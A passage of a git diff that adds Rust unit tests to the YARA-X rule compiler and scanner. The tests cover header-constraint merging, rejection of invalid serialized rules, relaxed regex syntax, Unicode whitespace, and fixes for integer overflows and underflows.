+#[cfg(test)] +mod tests { + use super::HeaderConstraint; + use pretty_assertions::assert_eq; + + #[test] + fn header_constraint_merge() { + let merge = |mut a: HeaderConstraint, b: &HeaderConstraint| { + a.merge(b); + a + }; + + let unconstrained = HeaderConstraint::Unconstrained; + let unsatisfiable = HeaderConstraint::Unsatisfiable; + let constrained = + |bytes: &[u8]| HeaderConstraint::Constrained(bytes.to_vec()); + + // (Unsatisfiable, _) => Unsatisfiable + assert_eq!( + merge(unsatisfiable.clone(), &unsatisfiable), + unsatisfiable + ); + assert_eq!( + merge(unsatisfiable.clone(), &unconstrained), + unsatisfiable + ); + assert_eq!( + merge(unsatisfiable.clone(), &constrained(&[0x4D, 0x5A])), + unsatisfiable + ); + + // (_, Unsatisfiable) => Unsatisfiable + assert_eq!( + merge(unconstrained.clone(), &unsatisfiable), + unsatisfiable + ); + assert_eq!( + merge(constrained(&[0x4D, 0x5A]), &unsatisfiable), + unsatisfiable + ); + + // (Unconstrained, _) => other + assert_eq!( + merge(unconstrained.clone(), &unconstrained), + unconstrained + ); + assert_eq!( + merge(unconstrained.clone(), &constrained(&[0x4D, 0x5A])), + constrained(&[0x4D, 0x5A]) + ); + + // (_, Unconstrained) => self + assert_eq!( + merge(constrained(&[0x4D, 0x5A]), &unconstrained), + constrained(&[0x4D, 0x5A]) + ); + + // (Constrained(a), Constrained(b)) where a == b + assert_eq!( + merge(constrained(&[0x4D, 0x5A]), &constrained(&[0x4D, 0x5A])), + constrained(&[0x4D, 0x5A]) + ); + + // (Constrained(a), Constrained(b)) where a is a prefix of b (b.len() > a.len()) + assert_eq!( + merge( + constrained(&[0x4D, 0x5A]), + &constrained(&[0x4D, 0x5A, 0x90]) + ), + constrained(&[0x4D, 0x5A, 0x90]) + ); + + // (Constrained(a), Constrained(b)) where b is a prefix of a (a.len() > b.len()) + assert_eq!( + merge( + constrained(&[0x4D, 0x5A, 0x90]), + &constrained(&[0x4D, 0x5A]) + ), + constrained(&[0x4D, 0x5A, 0x90]) + ); + + // (Constrained(a), Constrained(b)) with conflicting prefixes + assert_eq!( + merge(constrained(&[0x4D, 0x5A]), &constrained(&[0x4D, 0x00])), + unsatisfiable + ); + assert_eq!( + merge( + constrained(&[0x4D, 0x5A]), + &constrained(&[0x7F, 0x45, 0x4C, 0x46]) + ), + unsatisfiable + ); + assert_eq!( + merge( + constrained(&[0x7F, 0x45, 0x4C, 0x46]), + &constrained(&[0x4D, 0x5A]) + ), + unsatisfiable + ); + } + + #[test] + fn deserialize_validation() { + use crate::Rules; + use crate::compile; + use crate::compiler::errors::SerializationError; + use crate::compiler::{PatternId, SubPattern, SubPatternId}; + use crate::re::{BckCodeLoc, FwdCodeLoc}; + + // Invalid SubPatternId in atoms (including off-by-one == sub_patterns.len()). + let mut rules = + compile(r#"rule t { strings: $a = "aaaa" condition: $a }"#) + .unwrap(); + rules.atoms[0].sub_pattern_id = + SubPatternId(rules.sub_patterns.len() as u32); + let bytes = rules.serialize().unwrap(); + assert!(matches!( + Rules::deserialize(&bytes), + Err(SerializationError::InvalidFormat) + )); + + // Invalid SubPatternId in anchored_sub_patterns. + let mut rules = + compile(r#"rule t { strings: $a = "aaaa" condition: $a at 0 }"#) + .unwrap(); + rules.anchored_sub_patterns[0] = + SubPatternId(rules.sub_patterns.len() as u32); + let bytes = rules.serialize().unwrap(); + assert!(matches!( + Rules::deserialize(&bytes), + Err(SerializationError::InvalidFormat) + )); + + // Invalid chained_to SubPatternId in sub_patterns. + let mut rules = compile( + r#"rule t { strings: $a = { 01 02 03 04 [-] 05 06 07 08 } condition: $a }"#, + ) + .unwrap(); + let num_sub_patterns = rules.sub_patterns.len() as u32; + for (_, sp) in &mut rules.sub_patterns { + if let SubPattern::LiteralChainTail { chained_to, .. } + | SubPattern::RegexpChainTail { chained_to, .. } = sp + { + *chained_to = SubPatternId(num_sub_patterns); + } + } + let bytes = rules.serialize().unwrap(); + assert!(matches!( + Rules::deserialize(&bytes), + Err(SerializationError::InvalidFormat) + )); + + // Invalid PatternId in sub_patterns. + let mut rules = + compile(r#"rule t { strings: $a = "aaaa" condition: $a }"#) + .unwrap(); + rules.sub_patterns[0].0 = PatternId::from(rules.num_patterns); + let bytes = rules.serialize().unwrap(); + assert!(matches!( + Rules::deserialize(&bytes), + Err(SerializationError::InvalidFormat) + )); + + // Invalid FwdCodeLoc and BckCodeLoc in atoms. + let mut rules = compile( + r#"rule t { strings: $a = /foo[a-z]+bar/ condition: $a }"#, + ) + .unwrap(); + let re_code_len = rules.re_code.len(); + rules.atoms[0].fwd_code = Some(FwdCodeLoc::from(re_code_len)); + let bytes = rules.serialize().unwrap(); + assert!(matches!( + Rules::deserialize(&bytes), + Err(SerializationError::InvalidFormat) + )); + + let mut rules = compile( + r#"rule t { strings: $a = /foo[a-z]+bar/ condition: $a }"#, + ) + .unwrap(); + rules.atoms[0].bck_code = Some(BckCodeLoc::from(re_code_len)); + let bytes = rules.serialize().unwrap(); + assert!(matches!( + Rules::deserialize(&bytes), + Err(SerializationError::InvalidFormat) + )); + } +} diff --git a/lib/src/compiler/tests/mod.rs b/lib/src/compiler/tests/mod.rs index 1b45f7b8b..089734b97 100644 --- a/lib/src/compiler/tests/mod.rs +++ b/lib/src/compiler/tests/mod.rs @@ -27,7 +27,7 @@ fn serialization() { // `DecodeError`. let mut data = Vec::new(); data.extend(b"YARA-X\0\0"); - data.extend(6u32.to_le_bytes()); + data.extend(13u32.to_le_bytes()); data.extend(b"foo"); assert!(matches!( @@ -172,6 +172,33 @@ fn snapshots() { .expect_err("compilation should fail"); assert_eq!(compiler.take_snapshot(), snapshot); + + // `$a` is an anchored literal (added to `anchored_sub_patterns`), while + // `$b` fails later during regexp compilation because it can match an empty + // string. Rolling back the failed rule must also roll back + // `anchored_sub_patterns`. + compiler + .add_source( + r#"rule bad { + strings: + $a = "abcd" + $b = /(a|)/ + condition: + $a at 0 and $b + }"#, + ) + .expect_err("compilation should fail"); + + assert_eq!(compiler.take_snapshot(), snapshot); + + compiler + .add_source(r#"rule test_2 { strings: $x = "bar" condition: $x }"#) + .unwrap(); + + let rules = compiler.build(); + let mut scanner = Scanner::new(&rules); + let results = scanner.scan(b"foobar").unwrap(); + assert_eq!(results.matching_rules().len(), 2); } #[test] @@ -563,6 +590,32 @@ fn relaxed_re_syntax() { .add_source(r#"rule test_2 { strings: $a = /xyz{/ condition: $a }"#) .unwrap() .add_source(r#"rule test_3 { strings: $a = /xyz[\>]/ condition: $a }"#) + .unwrap() + .add_source( + r#"rule test_4 { strings: $a = /{(foo|bar)/ condition: $a }"#, + ) + .unwrap() + .add_source(r#"rule test_5 { strings: $a = /a{你好/ condition: $a }"#) + .unwrap() + .add_source( + r#"rule test_6 { strings: $a = /a{1,你好/ condition: $a }"#, + ) + .unwrap() + .add_source(r#"rule test_7 { strings: $a = /你好{/ condition: $a }"#) + .unwrap() + .add_source(r#"rule test_8 { strings: $a = /a{1{/ condition: $a }"#) + .unwrap() + .add_source(r#"rule test_9 { strings: $a = /a{2,1}/ condition: $a }"#) + .unwrap() + .add_source(r#"rule test_10 { strings: $a = /r{{2}/ condition: $a }"#) + .unwrap() + .add_source( + r#"rule test_11 { strings: $a = /(?x)p{# {/ condition: $a }"#, + ) + .unwrap() + .add_source( + r#"rule test_12 { strings: $a = /(?x)q{1 # {{{/ condition: $a }"#, + ) .unwrap(); let rules = compiler.build(); @@ -593,6 +646,286 @@ fn relaxed_re_syntax() { .len(), 1 ); + + assert_eq!( + Scanner::new(&rules) + .scan(b"{foo") + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan("a{你好".as_bytes()) + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan("a{1,你好".as_bytes()) + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan("你好{".as_bytes()) + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan(b"a{1{") + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan(b"a{2,1}") + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan(b"r{{") + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan(b"p{") + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Scanner::new(&rules) + .scan(b"q{1") + .expect("scan should not fail") + .matching_rules() + .len(), + 1 + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source("rule test { strings: $a = /+/ condition: $a }") + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:28 + | +1 | rule test { strings: $a = /+/ condition: $a } + | ^ repetition operator missing expression + | + = note: did you mean `\+` instead of `+`?"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source("rule test { strings: $a = /?/ condition: $a }") + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:28 + | +1 | rule test { strings: $a = /?/ condition: $a } + | ^ repetition operator missing expression + | + = note: did you mean `\?` instead of `?`?"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source("rule test { strings: $a = /a|*/ condition: $a }") + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:30 + | +1 | rule test { strings: $a = /a|*/ condition: $a } + | ^ repetition operator missing expression + | + = note: did you mean `\*` instead of `*`?"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source(r#"rule test { strings: $a = /\X|+/ condition: $a }"#) + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:31 + | +1 | rule test { strings: $a = /\X|+/ condition: $a } + | ^ repetition operator missing expression + | + = note: did you mean `\+` instead of `+`?"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source(r#"rule test { condition: "foo" matches /+/ }"#) + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:39 + | +1 | rule test { condition: "foo" matches /+/ } + | ^ repetition operator missing expression + | + = note: did you mean `\+` instead of `+`?"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source( + "rule test { strings: $a = /{{{{.*a.*?/ condition: $a }" + ) + .unwrap_err() + .to_string(), + r#"error[E015]: mixing greedy and non-greedy quantifiers in regular expression + --> line:1:32 + | +1 | rule test { strings: $a = /{{{{.*a.*?/ condition: $a } + | ^^ ^^^ this is non-greedy + | | + | this is greedy"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source( + r#"rule test { strings: $a = /\X\Y.*a.*?/ condition: $a }"# + ) + .unwrap_err() + .to_string(), + r#"error[E015]: mixing greedy and non-greedy quantifiers in regular expression + --> line:1:32 + | +1 | rule test { strings: $a = /\X\Y.*a.*?/ condition: $a } + | ^^ ^^^ this is non-greedy + | | + | this is greedy"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source( + r#"rule test { strings: $a = /{{{{(?u)\b/ condition: $a }"# + ) + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:36 + | +1 | rule test { strings: $a = /{{{{(?u)\b/ condition: $a } + | ^^ this is unsupported in Unicode regular expressions"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source( + "rule test { strings: $a = /({{{{|.*)a/s condition: $a }" + ) + .unwrap_err() + .to_string(), + r#"error[E045]: arbitrary regular expression prefix + --> line:1:34 + | +1 | rule test { strings: $a = /({{{{|.*)a/s condition: $a } + | ^^ this prefix can be arbitrarily long and matches all bytes"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source( + r"rule test { strings: $a = /你好\p{L}{/ condition: $a }" + ) + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:30 + | +1 | rule test { strings: $a = /你好\p{L}{/ condition: $a } + | ^^^^^ Unicode not allowed here"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source(r"rule test { strings: $a = /[好-\Z]/ condition: $a }") + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:29 + | +1 | rule test { strings: $a = /[好-\Z]/ condition: $a } + | ^^^^^ invalid character class range, the start must be <= the end"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source( + "rule test { strings: $a = /你好.*{{a.*?/ condition: $a }" + ) + .unwrap_err() + .to_string(), + r#"error[E015]: mixing greedy and non-greedy quantifiers in regular expression + --> line:1:30 + | +1 | rule test { strings: $a = /你好.*{{a.*?/ condition: $a } + | ^^ ^^^ this is non-greedy + | | + | this is greedy"# + ); + + assert_eq!( + Compiler::new() + .relaxed_re_syntax(true) + .add_source("rule test { strings: $a = /[{]|+/ condition: $a }") + .unwrap_err() + .to_string(), + r#"error[E014]: invalid regular expression + --> line:1:32 + | +1 | rule test { strings: $a = /[{]|+/ condition: $a } + | ^ repetition operator missing expression + | + = note: did you mean `\+` instead of `+`?"# + ); } #[test] @@ -672,6 +1005,42 @@ fn test_ignored_rules() { assert!(matches!(ignored[1].1, IgnoredRuleReason::CompileError(_))); } +#[cfg(feature = "math-module")] +#[test] +fn ignored_supported_module() { + let mut compiler = Compiler::new(); + compiler.ignore_module("math"); + + compiler + .add_source( + r#" + import "math" + + rule rule_ok { condition: true } + rule rule_ignored { condition: math.entropy(0, filesize) > 0 } + "#, + ) + .unwrap(); + + let ignored: Vec<_> = compiler.ignored_rules().collect(); + assert_eq!(ignored.len(), 1); + assert_eq!(ignored[0].0, "rule_ignored"); + assert_eq!(ignored[0].1, IgnoredRuleReason::IgnoredModule("math")); + assert!(!compiler.warnings().is_empty()); + + // The same module is used normally when it is not ignored. + let mut compiler = Compiler::new(); + compiler + .add_source( + r#" + import "math" + rule rule_used { condition: math.entropy(0, filesize) >= 0 } + "#, + ) + .unwrap(); + assert_eq!(compiler.ignored_rules().count(), 0); +} + #[cfg(feature = "test_proto2-module")] #[test] fn banned_modules() { @@ -770,6 +1139,52 @@ fn linter_tag_list() { | ^^^ tag `axs` not in allowed list | = note: allowed tags: foo, bar"#); + + // Empty allowed list: untagged rules are valid, any tag produces a + // warning or error without panicking. + assert!( + Compiler::new() + .add_linter(linters::tags_allowed(vec![])) + .add_source( + r#"rule test { strings: $foo = "foo" condition: $foo }"# + ) + .unwrap() + .warnings() + .is_empty() + ); + + assert_eq!( + Compiler::new() + .add_linter(linters::tags_allowed(vec![])) + .add_source( + r#"rule test : foo { strings: $foo = "foo" condition: $foo }"# + ) + .unwrap() + .warnings() + .iter() + .map(|w| w.to_string()) + .collect::>(), + &[r#"warning[unknown_tag]: tag not in allowed list + --> line:1:13 + | +1 | rule test : foo { strings: $foo = "foo" condition: $foo } + | --- tag `foo` not in allowed list"#] + ); + + assert_eq!( + Compiler::new() + .add_linter(linters::tags_allowed(vec![]).error(true)) + .add_source( + r#"rule test : foo { strings: $foo = "foo" condition: $foo }"# + ) + .expect_err("expected error") + .to_string(), + r#"error[E040]: tag not in allowed list + --> line:1:13 + | +1 | rule test : foo { strings: $foo = "foo" condition: $foo } + | ^^^ tag `foo` not in allowed list"#, + ); } #[test] @@ -1749,6 +2164,69 @@ fn test_rules_matches_many() { scanner.set_global("str_foo", "bar").unwrap(); let scan_results = scanner.scan(&[]).unwrap(); assert_eq!(scan_results.matching_rules().len(), 1); + + // Deeply nested groups near `nest_limit` (250) would previously inflate + // past 250 when `hir.to_string()` re-wrapped groups and panic at scan time + // inside `get_regex_set`. Building directly from HIR avoids re-parsing. + let nested = format!("{}[a-z]{}", "([0-9]?(".repeat(60), "))".repeat(60)); + let mut compiler = Compiler::new(); + compiler + .define_global("str_foo", "") + .unwrap() + .add_source( + format!( + r#" + rule deep_nested {{ + condition: + str_foo matches /{nested}/ or str_foo matches /ba[zt]/ + }} + "# + ) + .as_str(), + ) + .unwrap(); + let rules = compiler.build(); + assert_eq!(rules.regex_sets.len(), 1); + let mut scanner = Scanner::new(&rules); + scanner.set_global("str_foo", "baz").unwrap(); + assert_eq!(scanner.scan(&[]).unwrap().matching_rules().len(), 1); + scanner.set_global("str_foo", "7q").unwrap(); + assert_eq!(scanner.scan(&[]).unwrap().matching_rules().len(), 1); + scanner.set_global("str_foo", "99").unwrap(); + assert_eq!(scanner.scan(&[]).unwrap().matching_rules().len(), 0); + + // Multiple regexps that individually fit under the 50 MiB NFA limit but + // exceed 50 MiB when combined must skip `MatchesMany` collapsing and still + // evaluate cleanly without panicking. Use a 31-range character class (248 + // bytes of `Transition`s per state regardless of pointer width) so the + // combined NFA exceeds 50 MiB on both 32-bit (~58.8 MiB) and 64-bit + // (~65.5 MiB) targets while each individual regexp stays under 50 MiB. + let cls = "[acegikmoqsuwyACEGIKMOQSUWY02468]"; + let mut compiler = Compiler::new(); + compiler + .define_global("str_foo", "") + .unwrap() + .add_source( + format!( + r#" + rule combined_too_large {{ + condition: + str_foo matches /a{cls}{{110000}}b/ or + str_foo matches /a{cls}{{110000}}c/ or + str_foo matches /ba[zt]/ + }} + "# + ) + .as_str(), + ) + .unwrap(); + let rules = compiler.build(); + assert!(rules.regex_sets.is_empty()); + let mut scanner = Scanner::new(&rules); + scanner.set_global("str_foo", "bat").unwrap(); + assert_eq!(scanner.scan(&[]).unwrap().matching_rules().len(), 1); + scanner.set_global("str_foo", "nope").unwrap(); + assert_eq!(scanner.scan(&[]).unwrap().matching_rules().len(), 0); } #[test] @@ -1759,3 +2237,526 @@ fn test_var_stack_overflow() { let rule = format!("rule test {{ condition: with {vars} : ( true ) }}"); assert!(compiler.add_source(rule.as_str()).is_err()); } + +#[test] +fn test_unicode_whitespace() { + // Space separator characters (including U+1680 and U+3000) must be treated + // as valid whitespace, and rendering errors on lines containing them must + // not panic. + for ws in ['\u{3000}', '\u{1680}'] { + let rule = format!("rule test {{ {ws}condition: true }}"); + assert!(compile(rule.as_str()).is_ok()); + + let hex_rule = format!( + "rule test {{ strings: $a = {{ AA {ws} BB }} condition: $a }}" + ); + assert!(compile(hex_rule.as_str()).is_ok()); + + let invalid_rule = format!("rule test {{ {ws}invalid }}"); + let err = compile(invalid_rule.as_str()).unwrap_err(); + let _ = err.to_string(); + } + + // Other `char::is_whitespace` characters not accepted as YARA whitespace + // must produce clean syntax errors whose formatted reports do not panic on + // UTF-8 char boundaries. + for ws in ['\u{0085}', '\u{2028}', '\u{2029}'] { + let rule = format!("rule test {{ {ws}condition: true }}"); + let err = compile(rule.as_str()).unwrap_err(); + let _ = err.to_string(); + + let hex_rule = format!( + "rule test {{ strings: $a = {{ AA {ws} BB }} condition: $a }}" + ); + let err = compile(hex_rule.as_str()).unwrap_err(); + let _ = err.to_string(); + } +} + +#[test] +fn test_var_undef_bitmap_addressing() { + // On a 1-byte input, `v8 = uint8(1)` is undefined while `v64 = uint8(0)` + // is defined. Variables 8 and 64 must not share the same undef bit in + // WASM memory, otherwise `v64` clears `v8`'s undef flag. + let vars = (0..=64) + .map(|i| match i { + 8 => "v8 = uint8(1)".to_string(), + 64 => "v64 = uint8(0)".to_string(), + _ => format!("v{i} = 0"), + }) + .collect::>() + .join(", "); + + let rule = + format!("rule test {{ condition: with {vars} : ( defined v8 ) }}"); + + let rules = compile(rule.as_str()).unwrap(); + let mut scanner = Scanner::new(&rules); + let results = scanner.scan(b"\x01").unwrap(); + assert_eq!(results.matching_rules().len(), 0); +} + +#[test] +fn test_unicode_word_boundary() { + for pat in [ + r"/(?u)\b{start-half}abc/", + r"/(?u)abc\b{end-half}/", + r"/(?u:\b)abc/", + r"/(?u:\B)abc/", + r"/(?u:\b{start})abc/", + r"/(?u:\b{end})abc/", + r"/(?u:\b{start-half})abc/", + r"/(?u:\b{end-half})abc/", + ] { + let rule = + format!("rule test {{ strings: $a = {pat} condition: $a }}"); + let err = compile(rule.as_str()).unwrap_err(); + assert!( + err.to_string().contains( + "this is unsupported in Unicode regular expressions" + ) + ); + } +} + +#[test] +fn test_unicode_class_too_large() { + for pat in [r"/(?u)\w+abc/", r"/(?u)\p{L}+abc/"] { + let rule = + format!("rule test {{ strings: $a = {pat} condition: $a }}"); + let err = compile(rule.as_str()).unwrap_err(); + assert!(err.to_string().contains("regexp is too large")); + } +} + +#[test] +fn test_best_atom_past_u16_max() { + // Wide literal: 32,769 `'a'`s expand to 65,538 bytes in UTF-16LE before + // `"1234"`. + let wide_prefix = "a".repeat(32769); + let wide_rule = format!( + r#"rule test {{ strings: $a = "{wide_prefix}1234" wide condition: $a }}"# + ); + let rules = compile(wide_rule.as_str()).unwrap(); + let mut scanner = Scanner::new(&rules); + + let matching_wide: Vec = + format!("{wide_prefix}1234").bytes().flat_map(|b| [b, 0]).collect(); + let non_matching_wide: Vec = + format!("{wide_prefix}1235").bytes().flat_map(|b| [b, 0]).collect(); + + assert_eq!( + scanner.scan(&matching_wide).unwrap().matching_rules().len(), + 1 + ); + assert_eq!( + scanner.scan(&non_matching_wide).unwrap().matching_rules().len(), + 0 + ); + + // Narrow literal: 65,536 `'a'`s followed by `"1234"`. + let ascii_prefix = "a".repeat(65536); + let ascii_rule = format!( + r#"rule test {{ strings: $a = "{ascii_prefix}1234" condition: $a }}"# + ); + let rules = compile(ascii_rule.as_str()).unwrap(); + let mut scanner = Scanner::new(&rules); + + let matching_ascii = format!("{ascii_prefix}1234"); + let non_matching_ascii = format!("{ascii_prefix}1235"); + + assert_eq!( + scanner + .scan(matching_ascii.as_bytes()) + .unwrap() + .matching_rules() + .len(), + 1 + ); + assert_eq!( + scanner + .scan(non_matching_ascii.as_bytes()) + .unwrap() + .matching_rules() + .len(), + 0 + ); +} + +#[test] +#[cfg(feature = "fast-regexp")] +fn test_fastvm_pattern_too_large() { + // 65,535-byte (`u16::MAX`) literal and masked-literal pieces fit in FastVM. + let rule_lit_ok = format!( + "rule test {{ strings: $a = /{}.{{1,2}}b/ condition: $a }}", + "a".repeat(65535) + ); + assert!(compile(rule_lit_ok.as_str()).is_ok()); + + let rule_masked_ok = format!( + "rule test {{ strings: $a = /[Aa]{}.{{1,2}}b/ condition: $a }}", + "a".repeat(65534) + ); + assert!(compile(rule_masked_ok.as_str()).is_ok()); + + // 65,536-byte (`u16::MAX + 1`) literal, masked-literal, and alternation + // pieces exceed `u16::MAX` and must fail with `Error::TooLarge` rather than + // panicking. + for pat in [ + format!("/{}.{{1,2}}b/", "a".repeat(65536)), + format!("/[Aa]{}.{{1,2}}b/", "a".repeat(65535)), + format!("/({}|b)1234/", "a".repeat(65535)), + format!("/({}|b)1234/", "a".repeat(65536)), + ] { + let rule = + format!("rule test {{ strings: $a = {pat} condition: $a }}"); + let err = compile(rule.as_str()).unwrap_err(); + assert!(err.to_string().contains("regexp is too large")); + } +} + +#[test] +fn test_fastvm_wide_jump_bck_underflow() { + // In all three cases below, FastVM extracts the wide atom + // `"1\x002\x003\x004\x00"` (`"1234"` in UTF-16LE) and verifies the prefix + // before `"1234"` backwards via `FastVM::jump_bck`. In `wide` mode each + // character requires 2 bytes (`step = 2`), so when only 1 byte precedes the + // jump in the scanned data, no wide character can fit before the jump and + // `jump_bck` must not subtract `step` (2) from `1` and underflow `usize`. + + // Case 1: Backward jump followed by an alternation (`(ab|cd)`), which + // takes the byte-by-byte loop in `jump_bck`. Scanning + // `b"x1\x002\x003\x004\x00"` leaves only 1 byte (`b"x"`) before the atom. + let rules = compile( + r#"rule test { strings: $a = /(ab|cd).{0,2}1234/ wide condition: $a }"#, + ) + .unwrap(); + + let mut scanner = Scanner::new(&rules); + + assert_eq!( + scanner.scan(b"x1\x002\x003\x004\x00").unwrap().matching_rules().len(), + 0 + ); + + // Valid wide matches with 0, 1, and 2 wide characters skipped by `.{0,2}`. + assert_eq!( + scanner + .scan(b"a\x00b\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 1 + ); + assert_eq!( + scanner + .scan(b"a\x00b\x00x\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 1 + ); + assert_eq!( + scanner + .scan(b"c\x00d\x00x\x00y\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 1 + ); + + // 3 wide characters between `"cd"` and `"1234"` exceeds `.{0,2}`. + assert_eq!( + scanner + .scan(b"c\x00d\x00x\x00y\x00z\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 0 + ); + + // Case 2: Backward jump followed by a literal (`ab`), which takes the + // `memrchr` fast path in `jump_bck` looking for `'b'`. Scanning + // `b"b1\x002\x003\x004\x00"` finds `'b'` in the single byte before the + // atom, where a 2-byte wide character (`"b\x00"`) cannot fit. + let rules = compile( + r#"rule test { strings: $a = /ab.{0,2}1234/ wide condition: $a }"#, + ) + .unwrap(); + + let mut scanner = Scanner::new(&rules); + + assert_eq!( + scanner.scan(b"b1\x002\x003\x004\x00").unwrap().matching_rules().len(), + 0 + ); + assert_eq!( + scanner + .scan(b"a\x00b\x00x\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 1 + ); + + // Case 3: Non-zero `position` when entering `jump_bck`. Matching `(xf|gh)` + // backwards against `"x\x00f\x00"` advances `position` to 4, leaving 1 byte + // (`b"x"`) in `b"xx\x00f\x001\x002\x003\x004\x00"`. `jump_bck` must ignore + // that single byte rather than moving `position` from 4 back to 3. + let rules = compile( + r#"rule test { strings: $a = /(ab|xf).{0,2}(xf|gh)1234/ wide condition: $a }"#, + ) + .unwrap(); + let mut scanner = Scanner::new(&rules); + assert_eq!( + scanner + .scan(b"xx\x00f\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 0 + ); + assert_eq!( + scanner + .scan(b"a\x00b\x00x\x00y\x00g\x00h\x001\x002\x003\x004\x00") + .unwrap() + .matching_rules() + .len(), + 1 + ); +} + +#[test] +fn test_wide_regexp_atom_backtrack_overflow() { + let p32764 = "a".repeat(32764); + let p32767 = "a".repeat(32767); + let p32768 = "a".repeat(32768); + + // FastVM keeps the intra-literal offset in `atom.backtrack` (`32,764` + // narrow -> `65,528` wide), whereas Thompson's compiler (`not(fast-regexp)`) + // folds the intra-literal offset into `code_loc` and resets `backtrack` to 0. + let expected_backtrack = + if cfg!(feature = "fast-regexp") { 65528 } else { 0 }; + + // `"1234"` right at the end of the first 32 KiB (`32764..32768`) is + // selected with narrow `backtrack = 32,764` (`65,528` in wide mode). + let rules_32764 = compile( + format!( + "rule test {{ strings: $a = /{p32764}1234.{{1,2}}b/ wide condition: $a }}" + ) + .as_str(), + ) + .unwrap(); + assert_eq!(rules_32764.atoms().len(), 1); + assert_eq!(rules_32764.atoms()[0].as_slice(), b"1\x002\x003\x004\x00"); + assert_eq!(rules_32764.atoms()[0].backtrack(), expected_backtrack); + + // `"1234"` straddling the 32 KiB boundary (`32767..32771`): only `"aaa1"` + // (`32764..32768`) lies within the first 32 KiB (`backtrack = 65,528`). + let rules_32767 = compile( + format!( + "rule test {{ strings: $a = /{p32767}1234.{{1,2}}b/ wide condition: $a }}" + ) + .as_str(), + ) + .unwrap(); + assert_eq!(rules_32767.atoms().len(), 1); + assert_eq!(rules_32767.atoms()[0].as_slice(), b"a\x00a\x00a\x001\x00"); + assert_eq!(rules_32767.atoms()[0].backtrack(), expected_backtrack); + + // High-quality bytes (`"1234"`) past the first 32 KiB (`32,768` bytes): + // `best_range_in_bytes` and `best_range_in_masked_bytes` consider only the + // first 32 KiB so `backtrack <= 32,767` and `Atom::make_wide` never + // overflows `u16`. + let rules_32768 = compile( + format!( + "rule test {{ strings: $a = /{p32768}1234.{{1,2}}b/ wide condition: $a }}" + ) + .as_str(), + ) + .unwrap(); + assert_eq!(rules_32768.atoms().len(), 1); + assert_eq!(rules_32768.atoms()[0].as_slice(), b"a\x00a\x00a\x00a\x00"); + assert_eq!(rules_32768.atoms()[0].backtrack(), 0); + + for rule in [ + format!( + "rule test {{ strings: $a = /{p32768}1234.{{1,2}}b/ wide condition: $a }}" + ), + format!( + "rule test {{ strings: $a = /{p32768}1234.{{1,2}}b/ wide ascii condition: $a }}" + ), + format!( + "rule test {{ strings: $a = /[Aa]{p32767}1234.{{1,2}}b/ wide condition: $a }}" + ), + // Exercises both `RegexpChainHead` and `RegexpChainTail` when `/s` + // causes `.{300}` to split the regexp into chained sub-patterns. + format!( + "rule test {{ strings: $a = /{p32768}1234.{{1,2}}b.{{300}}{p32768}5678.{{1,2}}d/s wide condition: $a }}" + ), + ] { + let rules = compile(rule.as_str()).unwrap(); + let mut scanner = Scanner::new(&rules); + // Verify that a suffix without the 32,768-char prefix does not match + // (previously release builds wrapped `backtrack` modulo 65,536 to 0). + assert_eq!( + scanner + .scan(b"1\x002\x003\x004\x00x\x00b\x00") + .unwrap() + .matching_rules() + .len(), + 0 + ); + } +} + +#[test] +fn test_hex_large_and_coalesced_jumps() { + // 1. Large fixed-size jumps (`[4294967295]`) must compile without + // materializing ~8 GiB of zero/mask bytes in `LiteralWithMask`, both + // when sub-patterns are long enough to chain (`{ 01 02 ... 03 04 }`) + // and when a 1-byte sub-pattern prevents chaining (`{ 01 ... 02 }`). + for pat in [ + "{ 01 [4294967295] 02 }", + "{ 01 02 [4294967295] 03 04 }", + "{ 01 [4294967295] 02 03 }", + "{ ( 01 [4294967295] 02 | 03 04 ) }", + ] { + let rule = + format!("rule test {{ strings: $a = {pat} condition: $a }}"); + let rules = compile(rule.as_str()).unwrap(); + let mut scanner = Scanner::new(&rules); + assert_eq!( + 